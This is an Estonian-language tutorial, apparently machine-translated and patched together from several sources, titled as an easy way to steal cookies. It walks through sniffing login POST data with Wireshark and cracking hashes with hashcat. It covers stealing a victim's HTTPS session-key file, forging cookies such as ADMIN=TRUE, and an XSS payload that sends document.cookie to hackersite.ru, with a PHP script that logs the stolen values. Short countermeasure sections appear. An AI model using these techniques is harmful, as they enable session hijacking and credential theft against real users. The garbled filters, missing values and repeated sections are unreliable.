Lihtne viis küpsiste varastada. Küpsiste varastamise meetodid Küpsiste pealtkuulamine

Paljud kasutajad ei mõista, et suletud Interneti-ressursi registreerimisel või autoriseerimisel sisselogimise ja parooli sisestamisel ning sisestusklahvi ENTER vajutamisel saab neid andmeid hõlpsasti pealt kuulata. Väga sageli edastatakse need üle võrgu turvamata kujul. Seega, kui sait, kuhu proovite sisse logida, kasutab HTTP-protokolli, on seda liiklust väga lihtne püüda, analüüsida Wiresharki abil ning seejärel kasutada parooli leidmiseks ja dekrüpteerimiseks spetsiaalseid filtreid ja programme.

Parim koht paroolide pealtkuulamiseks on võrgu tuum, kus välistele ressurssidele registreerumisel läheb kõigi kasutajate liiklus suletud ressurssidesse (näiteks post) või ruuteri ette, et pääseda Internetti. Panime peegli üles ja oleme valmis end häkkerina tundma.

1. samm. Liikluse salvestamiseks installige ja käivitage Wireshark

Mõnikord piisab selleks, et valida ainult liides, mille kaudu plaanime liiklust koguda, ja klõpsata nuppu Start. Meie puhul jäädvustame traadita võrgu kaudu.

Liikluse püüdmine on alanud.

2. samm. Jäädvustatud POST-liikluse filtreerimine

Avame brauseri ja proovime kasutajanime ja parooli abil mõnda ressurssi sisse logida. Kui autoriseerimisprotsess on lõppenud ja sait avatud, lõpetame liikluse hõivamise Wiresharkis. Järgmisena avage protokolli analüsaator ja vaadake suurt hulka pakette. See on koht, kus enamik IT-spetsialiste loobub, sest nad ei tea, mida edasi teha. Kuid me teame ja tunneme huvi konkreetsete pakettide vastu, mis sisaldavad POST-andmeid, mis genereeritakse meie kohalikus masinas ekraanil kuvatava vormi täitmisel ja saadetakse kaugserverisse, kui klõpsame brauseris nuppu "Logi sisse" või "Authorization".

Jäädvustatud pakettide kuvamiseks sisestame aknasse spetsiaalse filtri: http.nõuda.meetod == "POSTITA"

Ja me näeme tuhandete pakettide asemel ainult ühte nende andmetega, mida me otsime.

Samm 3. Otsige üles kasutaja sisselogimine ja parool

Paremklõpsake kiiresti ja valige menüüst üksus Järgige TCP Steami


Pärast seda ilmub uude aknasse tekst, mis taastab lehe sisu koodis. Leiame väljad “password” ja “user”, mis vastavad paroolile ja kasutajanimele. Mõnel juhul on mõlemad väljad hõlpsasti loetavad ja isegi mitte krüptitud, kuid kui proovime liiklust jäädvustada, kui pääsete juurde väga tuntud ressurssidele, nagu Mail.ru, Facebook, VKontakte jne, siis parool krüpteeritakse:

Leiti HTTP/1.1 302

Server: Apache/2.2.15 (CentOS)

X-Powered-By: PHP/5.3.3

P3P: CP="NOI ADM DEV PSAi COM NAV MEIE OTRo STP IND DEM"

Set-Cookie: parool= ; aegub=N, 07-nov-2024 23:52:21 GMT; tee =/

Asukoht: loggedin.php

Sisu pikkus: 0

Ühendus: sule

Sisutüüp: tekst/html; charset=UTF-8

Seega meie puhul:

Kasutajanimi: networkguru

Parool:

Samm 4. Määrake parooli dekrüpteerimiseks kodeeringu tüüp

Näiteks minge veebisaidile http://www.onlinehashcrack.com/hash-identification.php#res ja sisestage tuvastamisaknasse meie parool. Mulle anti prioriteetsuse järjekorras kodeerimisprotokollide loend:

Samm 5. Kasutaja parooli dekrüpteerimine

Selles etapis saame kasutada hashcati utiliiti:

~# hashcat -m 0 -a 0 /root/wireshark-hash.lf /root/rockyou.txt

Väljundis saime dekrüpteeritud parooli: simplepassword

Seega ei saa me Wiresharki abil mitte ainult lahendada rakenduste ja teenuste tööga seotud probleeme, vaid ka proovida end häkkerina, püüdes kinni paroolid, mida kasutajad veebivormidesse sisestavad. Samuti saate kasutajate postkastide paroole teada saada, kasutades kuvamiseks lihtsaid filtreid:

  • POP-protokoll ja filter näeb välja selline: pop.request.command == "KASUTAJA" || pop.request.command == "LÄBI"
  • IMAP-protokoll ja filter on järgmised: imap.request sisaldab "sisselogimist"
  • Protokoll on SMTP ja peate sisestama järgmise filtri: smtp.req.command == "AUTH"

ja tõsisemad utiliidid kodeerimisprotokolli dekrüpteerimiseks.

6. samm: mis siis, kui liiklus on krüptitud ja kasutab HTTPS-i?

Sellele küsimusele vastamiseks on mitu võimalust.

Valik 1. Ühendage, kui ühendus kasutaja ja serveri vahel katkeb, ja püüdke liiklust ühenduse loomise hetkel (SSL-käepigistus). Kui ühendus on loodud, saab seansivõtme pealt kuulata.

Valik 2: saate HTTPS-i liikluse dekrüpteerida, kasutades Firefoxi või Chrome'i salvestatud seansivõtme logifaili. Selleks peab brauser olema konfigureeritud neid krüpteerimisvõtmeid logifaili kirjutama (FireFoxi-põhine näide) ja te peaksite selle logifaili saama. Põhimõtteliselt peate varastama seansivõtme faili teise kasutaja kõvakettalt (mis on ebaseaduslik). Noh, siis püüdke liiklus kinni ja kasutage saadud võtit selle dekrüpteerimiseks.

Selgitamine. Me räägime inimese veebibrauserist, kelle parooli nad üritavad varastada. Kui me mõtleme oma HTTPS-i liikluse dekrüpteerimist ja tahame harjutada, siis see strateegia töötab. Kui proovite dekrüpteerida teiste kasutajate HTTPS-liiklust ilma nende arvutitele juurdepääsuta, siis see ei toimi – see on nii krüptimine kui ka privaatsus.

Pärast võtmete saamist vastavalt valikule 1 või 2 peate need WireSharkis registreerima:

  1. Minge menüüsse Redigeerimine - Eelistused - Protokollid - SSL.
  2. Määrake lipp "Koosta SSL-kirjed, mis hõlmavad mitut TCP-segmenti".
  3. "RSA võtmete loend" ja klõpsake nuppu Redigeeri.
  4. Sisestage andmed kõikidele väljadele ja kirjutage võtmega faili tee

Pildil on näha, et küpsis sisaldab rida wordpress_logged_in_263d663a02379b7624b1028a58464038=admin. See väärtus on küpsises krüptimata kujul ja seda saab Achilleuse utiliidi abil hõlpsasti pealt kuulata, kuid enamikul juhtudel näete Achilleuse puhul ainult konkreetse kirje räsi. Enne päringu serverisse saatmist võite proovida selle rea asendada mõne sarnasega (kuigi sel juhul pole mõtet) - katsete arv pole piiratud. Seejärel saate selle päringu serverisse nupu Saada abil saate administraatorile mõeldud serverilt vastuse.

Eelmises näites saate kasutada otsest kasutajatunnuste võltsimist. Lisaks võib parameetri nimi, mille väärtuse asendamine häkkerile lisavõimalusi pakub, olla järgmine: kasutaja (näiteks USER=JDOE), mis tahes ID-stringiga avaldis (näiteks USER=JDOE või SESSIONID= BLAHBLAH), admin (näiteks ADMIN= TRUE), seanss (näiteks SESSIOON=ACTIVE), ostukorvi (näiteks CART=FULL), aga ka väljendid nagu TRUE, FALSE, ACTIVE, ISACTIVE. Tavaliselt sõltub küpsiste vorming suuresti rakendusest, mille jaoks neid kasutatakse. Need näpunäited küpsiste abil rakendusvigade leidmiseks kehtivad aga peaaegu kõigi vormingute puhul.

Kliendipoolsed vastumeetmed küpsiste ekstraheerimise vastu

Üldiselt peaksid kasutajad olema ettevaatlikud veebisaitide suhtes, mis kasutavad autentimiseks ja tundlike andmete salvestamiseks küpsiseid. Samuti tuleb meeles pidada, et autentimiseks küpsiseid kasutav veebisait peab kasutajanime ja parooli krüptimiseks toetama vähemalt SSL-protokolli, kuna selle protokolli puudumisel edastatakse andmed krüptimata, mis võimaldab neid pealt kuulata. kasutades lihtsaid tarkvaratööriistu võrgu kaudu saadetavate andmete vaatamiseks.

Kookaburra tarkvara on välja töötanud tööriista küpsiste kasutamise hõlbustamiseks. Tööriista nimi on CookiePal ( http://www.kburra.com/cpal.html (vt www.kburra.com)). See programm on loodud kasutaja hoiatamiseks, kui veebisait proovib arvutisse küpsist installida, ning kasutaja saab selle toimingu lubada või keelata. Sarnased küpsiste blokeerimise funktsioonid on tänapäeval saadaval kõigis brauserites.

Teine põhjus, miks veebibrauseri värskendusi regulaarselt installida, on see, et nende programmide turvavigu tuvastatakse pidevalt. Niisiis lõid Bennet Haselton ja Jamie McCarthy skripti, mis pärast lingil klõpsamist hangib kliendi masinast küpsised. Selle tulemusena muutub kogu kasutaja masinas olevate küpsiste sisu kättesaadavaks.

Sellist häkkimist saab teha ka käepideme abil

Et sellised asjad meie isikuandmeid ei ohustaks, teen seda ise ja soovitan kõigil alati uuendada HTML koodiga töötavat tarkvara (e-posti kliendid, meediapleierid, brauserid jne).

Paljud inimesed eelistavad küpsiseid lihtsalt blokeerida, kuid enamik veebisaite nõuab küpsiste sirvimiseks. Järeldus - kui lähitulevikus ilmub välja uuenduslik tehnoloogia, mis võimaldab ilma küpsisteta hakkama saada, hingavad programmeerijad ja administraatorid kergendatult, kuid praegu jäävad küpsised häkkerile maitsvaks suutäieks! See on tõsi, kuna paremat alternatiivi pole veel olemas.

Serveripoolsed vastumeetmed

Soovituste puhul serveri turvalisuse tagamiseks annavad eksperdid ühe lihtsa nõuande: ära kasuta küpsisemehhanismi, kui see pole hädavajalik! Eriti ettevaatlik tuleb olla küpsiste kasutamisel, mis jäävad kasutaja süsteemi pärast suhtlusseansi lõppu.

Loomulikult on oluline mõista, et küpsiseid saab kasutada veebiserverite turvalisuse tagamiseks kasutaja autentimisel. Kui teie rakendus vajab küpsiseid kasutama, peaksite küpsiste mehhanismi konfigureerima nii, et see kasutaks iga seansi jaoks erinevaid lühiajalisi võtmeid ja proovige mitte lisada neisse failidesse teavet, mida häkkerid võivad häkkimiseks kasutada (nt ADMIN=TRUE) .

Lisaks saate küpsiste kasutamise turvalisemaks muutmiseks kasutada küpsiste krüptimist, et vältida tundliku teabe väljavõtmist. Muidugi ei lahenda krüpteerimine küpsisetehnoloogiaga töötamisel kõiki turvaprobleeme, kuid see meetod hoiab ära ülalkirjeldatud kõige elementaarsemad häkkimised.

Mis on küpsis?

On olemas mehhanism, mis võimaldab http-serveril salvestada osa tekstiteavet kasutaja arvutisse ja seejärel sellele juurde pääseda. Seda teavet nimetatakse küpsiseks. Põhimõtteliselt on iga küpsis paar: parameetri nimi ja selle väärtus. Igale küpsisele määratakse ka domeen, kuhu see kuulub. Turvakaalutlustel on kõigis brauserites http-serveril lubatud juurdepääs ainult oma domeeni küpsistele. Lisaks võib küpsistel olla aegumiskuupäev, sel juhul salvestatakse need arvutisse kuni selle kuupäevani, isegi kui sulgete kõik brauseriaknad.


Miks on küpsised olulised?

Kõik mitme kasutajaga süsteemid kasutavad kasutaja tuvastamiseks küpsiseid. Täpsemalt, kasutaja praegune ühendus teenusega, kasutajaseanss. Kui keegi tunneb teie küpsised ära, saab ta teie nimel süsteemi sisse logida. Kuna hetkel kontrollivad väga vähesed Interneti-ressursid ühe kasutajaseansi jooksul IP-aadressi muutusi.


Kuidas küpsiseid muuta või asendada?

Brauseri arendajad ei paku sisseehitatud tööriistu küpsiste redigeerimiseks. Aga tavalise märkmikuga saab hakkama.


1. samm: looge tekstiga tekstifail

Windowsi registriredaktori versioon 5.00



@="C:\\IE_ext.htm"

Salvestage see nimega IE_ext.reg

2. samm: lisage loodud faili abil Windowsi registrisse muudatused.

3. samm: looge tekstiga tekstifail

< script language="javascript">
external.menuArguments.clipboardData.setData("Tekst" , external.menuArguments.document.cookie);

external.menuArguments.document.cookie= "testname=testvalue; path=/; domain=testdomain.ru";
alert(external.menuArguments.document.cookie);


Salvestage see nime all C:\IE_ext.htm

4. samm: läheme meid huvitavale veebisaidile.

5. samm: paremklõpsake lehe tühjal alal ja valige menüüelement "Küpsistega töötamine". Lubage juurdepääs lõikelauale. Teie selle saidi küpsised lähevad lõikepuhvrisse. Saate sisestada nende märkmiku ja vaadata.


6. samm: mõne küpsise muutmiseks muutke faili C:\IE_ext.htm, asendades testinimi küpsise nimel, testväärtus- selle tähenduse kohta, testdomain.ru– saidi domeenile. Vajadusel lisa veel sarnaseid ridu. Kontrollimise hõlbustamiseks lisasin skriptile praeguste küpsiste väljundi enne ja pärast muudatust: alert(external.menuArguments.document.cookie);

7. toiming. Tehke uuesti 5. toiming ja seejärel värskendage lehte.

Alumine rida: pääseme sellele Interneti-ressursile juurde värskendatud küpsistega.

Kuidas varastada küpsiseid JavaScripti abil?

Kui ründajal õnnestub leida võimalus suvalise JavaScripti skripti käivitamiseks ohvri arvutis, saab ta praeguseid küpsiseid väga lihtsalt lugeda. Näide:


var str= document.cookie;

Kuid kas ta saab need oma saidile üle kanda, sest nagu ma varem märkisin, ei pääse JavaScripti skript ilma täiendava kinnituseta juurde teisele domeenile asuvale saidile? Selgub, et JavaScripti skript suudab laadida mis tahes pildi, mis asub mis tahes http-serveris. Samal ajal edastage sellele pildile allalaadimistaotluses olev tekstiteave. Näide: http://hackersite.ru/xss.jpg?text_info Nii et kui käivitate selle koodi:

var img= uus pilt();

img.src= "http://hackersite.ru/xss.jpg?"+ encodeURI(document.cookie);


siis jõuab küpsis "pildi" allalaadimise päringusse ja "läheb" ründajale.

Kuidas käsitleda selliseid taotlusi "pildi" allalaadimiseks?

Ründaja peab leidma vaid PHP-toega hosti ja paigutama sinna sellise koodi:

$uid=urldekood($_SERVER["QUERY_STRING"]);
$fp=fopen("log.txt","a");
fputs($fp,"$uid\n");
fclose($fp);
?>

Seejärel salvestatakse faili kõik selle skripti päringu parameetrid log.txt. Jääb üle vaid eelnevalt kirjeldatud JavaScripti skript välja vahetada http://hackersite.ru/xss.jpg selle php-skripti teele.


Alumine joon

Näitasin ainult kõige lihtsamat viisi XSS-i haavatavuste ärakasutamiseks. Kuid see tõestab, et vähemalt ühe sellise haavatavuse olemasolu mitme kasutajaga veebisaidil võib lubada ründajal teie nimel oma ressursse kasutada.

Kas olete kunagi mõelnud, kuidas mõned veebisaidid oma külastajaid isikupärastavad? Seda võib väljendada näiteks “käru” sisu meeldejätmises (kui see sõlm on mõeldud kauba müümiseks) või mõne vormi väljade täitmise viisis. World Wide Webi toimimise aluseks oleval HTTP-protokollil pole vahendeid sündmuste jälgimiseks ühelt saidi külastuselt teisele, seetõttu töötati välja spetsiaalne lisandmoodul, mis võimaldab selliseid "olekuid" salvestada. See RFC 2109-s kirjeldatud mehhanism lisab HTTP päringutesse ja vastustesse spetsiaalsed küpsiseandmete osad, mis võimaldavad veebisaitidel oma külastajaid jälgida.

Küpsiste andmeid võidakse salvestada sideseansi ajaks ( seansi kohta), jääb RAM-i üheks seansiks ja kustutatakse brauseri sulgemisel või isegi pärast teatud aja möödumist. Muudel juhtudel on need püsivad ( püsiv), jääb kasutaja kõvakettale tekstifailina. Tavaliselt salvestatakse need kataloogi Cookies (%windir%\Cookies Win9x-s ja %userprofile%\Cookies NT/2000-s). Pole raske arvata, et pärast küpsiste hõivamist Internetis võib ründaja esineda antud arvuti kasutajana või koguda nendes failides sisalduvat olulist teavet. Pärast järgmiste jaotiste lugemist saate aru, kui lihtne seda teha on.

Küpsiste pealtkuulamine

Kõige otsesem meetod on küpsiste pealtkuulamine, kui neid võrgu kaudu edastatakse. Seejärel saab pealtkuulatud andmeid kasutada vastavasse serverisse sisselogimisel. Selle probleemi saab lahendada mis tahes pakettide pealtkuulamise utiliidi abil, kuid üks parimaid on Lavrenty Nikula programm ( Laurentiu Nicula) SpyNet/PeepNet. SpyNet sisaldab kahte utiliiti, mis töötavad koos. Programm CaptureNet lööb paketi ise ja salvestab selle kettale ning PeepNeti utiliit avab faili ja teisendab selle inimloetavasse vormingusse. Järgmine näide on PeepNeti rekonstrueeritud sideseansi fragment, mille käigus küpsis autentib ja kontrollib vaadatud lehtedele juurdepääsu (nimesid on anonüümsuse säilitamiseks muudetud).

HANKIGE http://www.victim.net/images/logo.gif HTTP/1.0 Nõustu: */* Viitaja: http://www.victim.net/ Host: www.victim.net Küpsis: jrunsessionid=96114024278141622; cuid=TORPM!ZXTRLRlpWTVFISEblahblah

Ülaltoodud näide näitab serverisse saabuvasse HTTP-päringusse pandud küpsise fragmenti. Kõige tähtsam on väli cuid=, mis määrab unikaalse identifikaatori, mida kasutatakse kasutaja autentimiseks sõlmes www.victim.net. Oletame, et peale seda külastas ründaja sõlme áldozat.net, sai oma identifikaatori ja küpsise (eeldusel, et sõlm ei paiguta küpsiseandmeid virtuaalmällu, vaid kirjutab need kõvakettale). Seejärel saab ründaja avada oma küpsise ja asendada cuid= välja ID sellega hõivatud paketist. Sel juhul tajutakse ohvri.net serverisse sisselogimisel teda kasutajana, kelle küpsiseandmed pealt kuulati.

Programmi võime PeepNet kogu suhtlusseansi või selle fragmendi taasesitamine hõlbustab oluliselt seda tüüpi rünnakute rakendamist. Nupu kasutamine Mine võta kinni! Saate uuesti tuua lehed, mida kasutaja vaatas, kasutades oma küpsiseandmeid, mille CaptureNet on varem salvestanud. PeepNeti utiliidi dialoogiboksis näete teavet kellegi täidetud tellimuste kohta. See kasutab autentimiseks küpsiste andmeid, mille CaptureNet kinni püüdis. Pange tähele raami, mis asub seansiandmete dialoogiboksi alumises paremas nurgas, ja rida, mis järgneb reale Cookie:. Need on autentimiseks kasutatavad küpsiseandmed.

See on päris korralik trikk. Lisaks utiliit CaptureNet suudab pakkuda täielikku dekrüpteeritud liiklusregistrit, mis on peaaegu samaväärne professionaalse kvaliteediga utiliitide, nagu Network Associates, Inc. Sniffer Pro, võimalustega. Samas kasulikkus SpyNet Veelgi parem – saad selle tasuta!

Vastumeetmed

Peaksite olema ettevaatlik saitide suhtes, mis kasutavad autentimiseks ja tundliku identifitseerimisteabe salvestamiseks küpsiseid. Üks tööriist, mis võib turvalisuse tagamisel aidata, on Kookaburra Software Cookie Pal, mille leiate aadressilt http://www.kburra.com/cpal.html. Seda tarkvaratoodet saab konfigureerida genereerima kasutajale hoiatussõnumeid, kui veebisait üritab küpsise mehhanismi kasutada. Sel juhul saate "vaadata kulisside taha" ja otsustada, kas need toimingud tuleks lubada. Internet Exploreril on sisseehitatud küpsiste mehhanism. Selle lubamiseks käivitage juhtpaneelil Interneti-suvandite aplett, minge vahekaardile Turvalisus, valige üksus Interneti-tsoon, määrake kohandatud taseme režiim ning püsivate ja ajutiste küpsiseandmete jaoks seadke lüliti asendisse Prompt. Küpsiste kasutamise seadistamine Netscape'i brauseris toimub käsuga Redigeerimine › Eelistused › Täpsemad ja seadistage režiim Hoiata mind enne küpsise vastuvõtmist või Keela küpsised (joonis 16.3). Kui nõustute küpsisega, peate kontrollima, kas see on kettale kirjutatud, ja kontrollima, kas veebisait kogub kasutajate kohta teavet.

Kui külastate saiti, mis kasutab autentimiseks küpsiseid, peate veenduma, et algselt sisestatud kasutajanimi ja parool on vähemalt SSL-krüptitud. Siis ilmub see info PeepNeti programmi aknasse, vähemalt mitte lihttekstina.

Autorid eelistaksid küpsiseid täielikult vältida, kui paljud sageli külastatavad veebisaidid seda valikut ei nõuaks. Näiteks Microsofti ülemaailmselt populaarse Hotmaili teenuse jaoks on registreerimiseks vaja küpsiseid. Kuna see teenus kasutab autentimisprotsessi ajal mitut erinevat serverit, ei ole nende lisamine usaldusväärsete saitide tsooni nii lihtne (seda protsessi kirjeldatakse jaotises "Turvatsoonide mõistlik kasutamine: ActiveX-juhtimise probleemi ühine lahendus"). Sel juhul aitab tähistus *.hotmail.com. Küpsised ei ole ideaalne lahendus HTML-protokolli ebatäielikkuse probleemile, kuid alternatiivsed lähenemisviisid tunduvad olevat veelgi hullemad (näiteks URL-ile identifikaatori lisamine, mida saab salvestada puhverserveritesse). Kuni parema idee tulekuni on teie ainus võimalus küpsiseid ülalloetletud meetodeid kasutades juhtida.

Jäädvustage küpsised URL-i kaudu

Kujutagem ette midagi kohutavat: Internet Exploreri kasutajad klõpsavad spetsiaalselt loodud hüperlinkidel ja saavad potentsiaalseteks ohvriteks, riskides nende küpsiste pealtkuulamisega. Bennett Haselton ( Bennett Haselton) ja Jamie McCarthy ( Jamie McCarthy) teismeliste organisatsioonist Peacefire, mis propageerib Interneti kaudu suhtlemisvabadust, avaldas stsenaariumi, mis paneb selle idee ellu. See skript hangib klientarvutist küpsised, kui selle kasutaja klõpsab sellel lehel sisalduval lingil. Selle tulemusena muutub küpsise sisu veebisaitide operaatoritele kättesaadavaks.

Seda funktsiooni saab ära kasutada pahatahtlikel eesmärkidel, manustades IFRAME-silte veebilehe, HTML-meili või uudisterühma postituse HTML-i. Järgmine näide, mille esitas turbekonsultant Richard M. Smith, demonstreerib võimalust kasutada IFRAME-i käepidemeid koos Peacefire'i välja töötatud utiliidiga.